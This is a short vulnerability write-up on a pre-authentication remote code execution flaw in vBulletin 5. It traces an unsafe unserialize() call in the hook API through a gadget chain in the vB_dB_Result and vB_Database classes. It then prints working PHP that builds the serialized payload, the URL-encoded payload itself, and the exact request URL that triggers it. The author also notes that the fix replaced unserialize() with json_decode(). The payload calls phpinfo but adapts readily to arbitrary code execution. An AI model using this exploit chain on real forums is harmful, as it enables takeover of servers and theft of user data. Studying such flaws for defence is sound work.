Vbulletin 5 PreAuth Remote Code Execution

vBulletin 5 PreAuth RCE writeup
by @_cutz

As came to my attention a guy named Coldzer0 is selling a vBulletin RCE expoit on http://0day.today.
In his video he exploited several vBulletin boards while surfing on Google… This ended in the vBulletin main forum being pwned on monday (11/02/15).

vBulletin implements certain ajax API calls in /core/vb/api/, one of them is hook.php:

   
    public function decodeArguments($arguments)
    {
        if ($args = @unserialize($arguments))
        {
            $result = '';

            foreach ($args AS $varname => $value)
            {
                $result .= $varname;

Apart from the obvious unserialize() not much else happening there — luckily we have in /core/vb/db/result.php:

class vB_dB_Result implements Iterator
{
...
    public function rewind()
    {
        //no need to rerun the query if we are at the beginning of the recordset.
        if ($this->bof)
        {
            return;
        }

        if ($this->recordset)
        {
            $this->db->free_result($this->recordset);
        }

rewind() is the first function to get called when an Iterator object is accessed via foreach(). Then we have in /core/vb/database.php:

abstract class vB_Database
{
...    
    function free_result($queryresult)
    {
        $this->sql = '';
        return @$this->functions['free_result']($queryresult);
    }

Which gives easy RCE. Setup objects accordingly:

$ php << 'eof'
<?php
class vB_Database {
       public $functions = array();

       public function __construct() 
       {
               $this->functions['free_result'] = 'phpinfo';
       }
}

class vB_dB_Result {
       protected $db;
       protected $recordset;

       public function __construct()
       {
               $this->db = new vB_Database();
               $this->recordset = 1;
       }
}

Payload:

print urlencode(serialize(new vB_dB_Result())) . "\n";
eof
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D

Just surf to:
http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

The fix was just replacing the unserialize() with json_decode(). Btw this bug has been sitting in vBulletin for more than three years.
— cutz